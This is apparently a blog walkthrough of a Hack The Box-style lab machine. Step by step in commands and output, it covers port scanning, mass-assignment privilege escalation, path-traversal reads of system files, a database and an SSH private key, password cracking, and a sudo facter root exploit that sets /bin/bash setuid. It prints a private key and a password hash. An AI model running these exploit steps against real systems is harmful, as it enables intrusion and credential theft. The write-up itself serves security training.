Alan's Blog

1
└─# nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p- 10.129.9.22
2
...
3
Discovered open port 22/tcp on 10.129.9.22
4
Discovered open port 80/tcp on 10.129.9.22
5
Discovered open port 54321/tcp on 10.129.9.22
6
...

1
└─# curl -I http://10.129.9.22
2
HTTP/1.1 302 Moved Temporarily
3
Server: nginx/1.26.3 (Ubuntu)
4
Date: Mon, 02 Mar 2026 16:41:34 GMT
5
Content-Type: text/html
6
Content-Length: 154
7
Connection: keep-alive
8
Location: http://facts.htb/

1
echo "10.129.9.22 facts.htb" >> /etc/hosts

1
└─# gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/dirb/small.txt
2
...
3
/admin                (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
4
/captcha              (Status: 200) [Size: 5773]
5
/en                   (Status: 200) [Size: 11109]
6
/error                (Status: 500) [Size: 7918]
7
/index                (Status: 200) [Size: 11116]
8
/page                 (Status: 200) [Size: 19593]
9
/post                 (Status: 200) [Size: 11308]
10
/rss                  (Status: 200) [Size: 183]
11
/search               (Status: 200) [Size: 19187]
12
/sitemap              (Status: 200) [Size: 3508]
13
/svn                  (Status: 200) [Size: 11113]
14
/up                   (Status: 200) [Size: 73]
15
/welcome              (Status: 200) [Size: 11966]

1
POST /admin/users/5/updated_ajax HTTP/1.1
2
Host: facts.htb
3
...
4

5
...&password[role]=admin...

1
curl http://target/admin/media/download_private_file?file=../../../../../../etc/passwd
2

3
...
4
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
5
william:x:1001:1001::/home/william:/bin/bash

1
curl http://facts.htb/admin/media/download_private_file?file=../config/database.yml

1
# SQLite. Versions 3.8.0 and up are supported.
2
#   gem install sqlite3
3
#
4
#   Ensure the SQLite 3 gem is defined in your Gemfile
5
#   gem "sqlite3"
6
#
7
default: &default
8
  adapter: sqlite3
9
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
10
  timeout: 5000
11

12
development:
13
  <<: *default
14
  database: storage/development.sqlite3
15

16
# Warning: The database defined as "test" will be erased and
17
# re-generated from your development database when you run "rake".
18
# Do not set this db to the same as development or production.
19
test:
20
  <<: *default
21
  database: storage/test.sqlite3
22

23
# Store production database in the storage/ directory, which by default
24
# is mounted as a persistent Docker volume in config/deploy.yml.
25
production:
26
  primary:
27
    <<: *default
28
    database: storage/production.sqlite3
29
  cache:
30
    <<: *default
31
    database: storage/production_cache.sqlite3
32
    migrations_paths: db/cache_migrate
33
  queue:
34
    <<: *default
35
    database: storage/production_queue.sqlite3
36
    migrations_paths: db/queue_migrate
37
  cable:
38
    <<: *default
39
    database: storage/production_cable.sqlite3
40
    migrations_paths: db/cable_migrate

1
curl http://facts.htb/admin/media/download_private_file?file=../storage/production.sqlite3

1
└─# sqlite3 production.sqlite3
2
SQLite version 3.46.1 2024-08-13 09:16:08
3
Enter ".help" for usage hints.
4
sqlite> .tables
5
action_mailbox_inbound_emails     cama_media
6
action_text_rich_texts            cama_metas
7
active_storage_attachments        cama_posts
8
active_storage_blobs              cama_term_relationships
9
active_storage_variant_records    cama_term_taxonomy
10
ar_internal_metadata              cama_users
11
cama_comments                     plugins_attacks
12
cama_custom_fields                plugins_contact_forms
13
cama_custom_fields_relationships  schema_migrations
14
sqlite> select * from cama_users;
15
1|admin|admin|[email protected]||$2a$12$9lLBXaBzcTxohKjxX08aR.WmE7qyhwpl0NGGBLbKDi6t.PB5zdJcK|1QGOA6YxgFANPE6XlGYPpg||||2026-01-08 15:30:12.955853|2025-09-07 21:57:52.634896|2026-01-08 15:30:12.961004|-1|||1|Administrator|
16
sqlite>

1
hashcat -a 0 -m 3200 hash.txt /path/to/rockyou.txt

1
curl http://facts.htb/admin/media/download_private_file?file=../../../../../../../home/trivia/.ssh/id_ed25519 HTTP/1.1
2

3
-----BEGIN OPENSSH PRIVATE KEY-----
4
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABC6AkfilF
5
4X1qH1Sc5xJYfeAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAICBGEBfDnLSrxPmq
6
Cin19lfTaTRgIuGU4tkvz5tCeQp+AAAAoItEd36VziyWstwTUztFPsQJO06LIWZ8Pt/FzY
7
smSg6ChZmRzSKKcgJnOb1LG1b+JUQdSz69eTt0yaajIRptM3+h8vwjC9vhBBLqUTmuVlUb
8
ZYfyhRWZGzxwFFoqT+++kYnHOqBJNjU0WouBYSAteRwopg9pnGOuk4iTKyz+Q5W5nD6UM2
9
6c5c5aE455JP79OidG6tzK7WFdL8l0L0HAF7I=
10
-----END OPENSSH PRIVATE KEY-----

1
ssh [email protected] -i trivia_id_ed25519
2
The authenticity of host 'facts.htb (10.129.9.22)' can't be established.
3
ED25519 key fingerprint is SHA256:fygAnw6lqDbeHg2Y7cs39viVqxkQ6XKE0gkBD95fEzA.
4
This key is not known by any other names.
5
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6
Warning: Permanently added 'facts.htb' (ED25519) to the list of known hosts.
7
Enter passphrase for key 'trivia_id_ed25519':

1
└─# aws configure
2
AWS Access Key ID [None]: your_access_key
3
AWS Secret Access Key [None]: your_secret_key
4
Default region name [None]: us-east-1
5
Default output format [None]: table

1
└─# aws s3 ls s3:// \
2
  --region us-east-1 \
3
  --endpoint-url http://facts.htb:54321
4
2025-09-11 08:06:52 internal
5
2025-09-11 08:06:52 randomfacts

1
└─# aws s3 ls s3://internal/.ssh/ \
2
  --region us-east-1 \
3
  --endpoint-url http://facts.htb:54321
4
2026-03-04 03:19:01         82 authorized_keys
5
2026-03-04 03:19:01        464 id_ed25519

1
└─# aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 \
2
  --region us-east-1 \
3
  --endpoint-url http://facts.htb:54321

1
ssh-keygen -y -f id_ed25519
2
Enter passphrase for "id_ed25519":
3
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDf5CZ1RpU3PZLHP71c/3+dAtPYTMF4HoBP51ffD8AW5 [email protected]

1
ssh2john trivia_id_ed25519

1
john ssh_hash.txt --wordlist=rockyou.txt
2

3
...
4
dragonballz      (trivia_id_ed25519)
5
...

1
sudo -l
2
Matching Defaults entries for trivia on facts:
3
    env_reset, mail_badpass,
4
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
5

6
User trivia may run the following commands on facts:
7
    (ALL) NOPASSWD: /usr/bin/facter

1
#!/usr/bin/env ruby
2
require 'fileutils'
3

4
file = '/bin/bash'
5

6
mode = File.stat(file).mode
7
File.chmod(mode | 0o4000, file)

1
#!/usr/bin/env ruby
2

3
system("chmod +s /bin/bash")

1
trivia@facts:~$ sudo /usr/bin/facter --custom-dir=/tmp/ x
2
trivia@facts:~$ /bin/bash -p
3
bash-5.2# whoami
4
root